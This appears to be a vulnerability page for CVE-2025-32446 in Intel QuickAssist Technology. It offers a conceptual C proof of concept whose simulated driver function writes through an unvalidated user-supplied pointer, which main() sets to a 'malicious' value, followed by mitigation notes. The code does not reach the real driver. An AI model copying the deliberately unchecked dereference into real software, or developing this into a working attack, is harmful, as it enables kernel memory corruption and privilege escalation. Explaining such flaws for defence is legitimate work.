Intel QuickAssist Technology 不信任指针解引用权限提升漏洞 (CVE-2025-32446)

/* * CVE-2025-32446 PoC - Intel QuickAssist Technology Untrusted Pointer Dereference * Author: Security Researcher * Description: Demonstrates potential pointer dereference issue in QAT driver * Note: This is a conceptual PoC for educational purposes only */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> /* Simulated QAT structures */ struct qat_op_data { uint64_t user_ptr; /* Untrusted pointer from user space */ uint32_t op_type; uint32_t flags; }; /* Vulnerable function simulating the issue */ int process_qat_request(struct qat_op_data *data) { /* VULNERABILITY: Direct dereference without validation */ volatile uint64_t *target = (volatile uint64_t *)data->user_ptr; /* Missing pointer validation checks: * - No check if user_ptr is within user space range * - No verification of pointer alignment * - No validation of pointer accessibility */ printf("[*] Dereferencing user-controlled pointer: 0x%lx\n", data->user_ptr); /* This can lead to arbitrary memory write if user_ptr is controlled */ *target = 0xDEADBEEF; return 0; } /* Example exploitation scenario */ int main(int argc, char *argv[]) { struct qat_op_data malicious_data; printf("[*] CVE-2025-32446 PoC - Intel QAT Untrusted Pointer Dereference\n"); printf("[*] Target: Intel QuickAssist Technology < 2.6.0\n\n"); /* Attacker controls the pointer value */ /* In real scenario, this would point to sensitive kernel structures */ malicious_data.user_ptr = 0xFFFFFFFFFFFFFFFF; /* Malicious pointer */ malicious_data.op_type = 1; malicious_data.flags = 0; /* Simulate calling vulnerable function */ printf("[*] Triggering vulnerable code path...\n"); process_qat_request(&malicious_data); printf("[*] Operation completed (may cause crash if pointer invalid)\n"); return 0; } /* * Mitigation: * 1. Always validate pointers from user space * 2. Use copy_from_user() for data transfer * 3. Check pointer alignment and range * 4. Implement proper access controls */